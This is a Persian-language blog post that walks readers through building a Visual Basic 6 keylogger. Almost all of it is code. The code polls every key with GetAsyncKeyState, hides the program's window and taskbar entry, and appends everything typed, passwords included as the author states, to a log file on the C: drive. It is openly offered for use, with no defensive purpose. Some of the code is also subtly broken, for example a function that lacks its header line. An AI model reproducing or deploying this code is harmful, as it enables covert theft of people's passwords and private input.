|
میخوام یه کد بزارم که کار keylogger را انجام میده . هر کلیدی را زدی و
هرچی نوشتی حتی رمز باشه . تو یه فایل ذخیره میکنه. کمی دقت کنین متوجه
کارش میشین آسونه :
قبل از هرچیزی یه textbox با یه command و یه timer توی فرمتون بزارین.
این قسمتو تو جنرال وارد کنید :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Dim i As Integer
حالا یه فانکشن تعریف میکنیم به صورت زیر :
Dim aKeys(0 To 255) As String
aKeys(27) = vbCrLf & "ESC" & vbCrLf
aKeys(49) = "1"
aKeys(50) = "2"
aKeys(51) = "3"
aKeys(52) = "4"
aKeys(53) = "5"
aKeys(54) = "6"
aKeys(55) = "7"
aKeys(56) = "8"
aKeys(57) = "9"
aKeys(48) = "0"
aKeys(186) = "-"
aKeys(187) = "+"
aKeys(8) = vbCrLf & "BACK BACKSPACE" & vbCrLf
aKeys(9) = vbCrLf & "TAB" & vbCrLf
aKeys(81) = "Q"
aKeys(87) = "W"
aKeys(69) = "E"
aKeys(82) = "R"
aKeys(84) = "T"
aKeys(89) = "Y"
aKeys(85) = "U"
aKeys(73) = "I"
aKeys(79) = "O"
aKeys(80) = "P"
aKeys(219) = "["
aKeys(221) = "]"
aKeys(13) = vbCrLf & "ENTER" & vbCrLf
aKeys(162) = vbCrLf & "LEFT CTRL" & vbCrLf
aKeys(65) = "A"
aKeys(83) = "S"
aKeys(68) = "D"
aKeys(70) = "F"
aKeys(71) = "G"
aKeys(72) = "H"
aKeys(74) = "J"
aKeys(75) = "K"
aKeys(76) = "L"
aKeys(186) = ";"
aKeys(222) = "'"
aKeys(192) = "`"
aKeys(160) = vbCrLf & "LEFT SHIFT" & vbCrLf
aKeys(220) = ""
aKeys(90) = "Z"
aKeys(88) = "X"
aKeys(67) = "C"
aKeys(86) = "V"
aKeys(66) = "B"
aKeys(78) = "N"
aKeys(77) = "M"
aKeys(188) = ","
aKeys(190) = "."
aKeys(191) = "/"
aKeys(161) = vbCrLf & "RIGHT SHIFT" & vbCrLf
aKeys(106) = "*"
aKeys(164) = vbCrLf & "LEFT ALT" & vbCrLf
aKeys(32) = " "
aKeys(20) = vbCrLf & "CAPS LOCK" & vbCrLf
aKeys(112) = vbCrLf & "F1" & vbCrLf
aKeys(113) = vbCrLf & "F2" & vbCrLf
aKeys(114) = vbCrLf & "F3" & vbCrLf
aKeys(115) = vbCrLf & "F4" & vbCrLf
aKeys(116) = vbCrLf & "F5" & vbCrLf
aKeys(117) = vbCrLf & "F6" & vbCrLf
aKeys(118) = vbCrLf & "F7" & vbCrLf
aKeys(119) = vbCrLf & "F8" & vbCrLf
aKeys(120) = vbCrLf & "F9" & vbCrLf
aKeys(121) = vbCrLf & "F10" & vbCrLf
aKeys(122) = vbCrLf & "F11" & vbCrLf
aKeys(123) = vbCrLf & "F12" & vbCrLf
aKeys(144) = vbCrLf & "NUM LOCK" & vbCrLf
aKeys(145) = vbCrLf & "SCROLL LOCK" & vbCrLf
aKeys(103) = "7"
aKeys(104) = "8"
aKeys(105) = "9"
aKeys(109) = "-"
aKeys(100) = "4"
aKeys(101) = "5"
aKeys(102) = "6"
aKeys(107) = "+"
aKeys(97) = "1"
aKeys(98) = "2"
aKeys(99) = "3"
aKeys(96) = "0"
aKeys(110) = "."
aKeys(163) = vbCrLf & "RIGHT CTRL" & vbCrLf
aKeys(44) = vbCrLf & "PRINT SCREEN" & vbCrLf
aKeys(165) = vbCrLf & "RIGHT ALT" & vbCrLf
aKeys(36) = vbCrLf & "HOME" & vbCrLf
aKeys(38) = vbCrLf & "UP" & vbCrLf
aKeys(33) = vbCrLf & "PAGE UP" & vbCrLf
aKeys(37) = vbCrLf & "LEFT" & vbCrLf
aKeys(39) = vbCrLf & "RIGHT" & vbCrLf
aKeys(35) = vbCrLf & "END" & vbCrLf
aKeys(40) = vbCrLf & "DOWN" & vbCrLf
aKeys(34) = vbCrLf & "PAGE DOWN" & vbCrLf
aKeys(45) = vbCrLf & "INSERT" & vbCrLf
aKeys(46) = vbCrLf & "DELETE" & vbCrLf
aKeys(91) = vbCrLf & "L WINDOWS" & vbCrLf
aKeys(92) = vbCrLf & "R WINDOWS" & vbCrLf
aKeys(93) = vbCrLf & "EDIT" & vbCrLf
KeyNames = aKeys(iNum)
End Function
توی command این دستورات را وارد کنید :
Private Sub Command1_Click()
Form1.Visible = False
App.TaskVisible = False
End Sub
توی رویداد load فرم اینارو بنویسین :
Private Sub Form_Load()
If App.PrevInstance = True Then
Unload Me
End
End If
strBuffer = "==========================================" & vbCrLf
strBuffer = strBuffer & "Date of log: " & Format(Date, "YYYY-MM-DD") & vbCrLf
strBuffer = strBuffer & "Start of logging: " & Format(Time$, "HH:MM") & vbCrLf
strBuffer = strBuffer & "==================================" & vbCrLf
Open "C:Log.txt" For Append As #1
Print #1, strBuffer
Close #1
strBuffer = ""
End Sub
در رویداد unload هم این کدارو قرار بدین :
Private Sub Form_Unload(Cancel As Integer)
strBuffer = Text1.Text & vbCrLf
strBuffer = strBuffer & "================================" & vbCrLf
strBuffer = strBuffer & "End of logging: " & Format(Time$, "HH:MM") & vbCrLf
strBuffer = strBuffer & "======================" & vbCrLf & vbCrLf & vbCrLf
Open "C:log.txt" For Append As #2
Print #2, strBuffer
Close #2
End Sub
و در آخر در رویداد تایمر این دستورات را بنویسین :
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + KeyNames(i)
End If
Next i
End Sub
پایان برین حال کنین
Masoud
نظرات شما عزیزان:
|
تبادل
لینک هوشمند
آمار
وبسایت: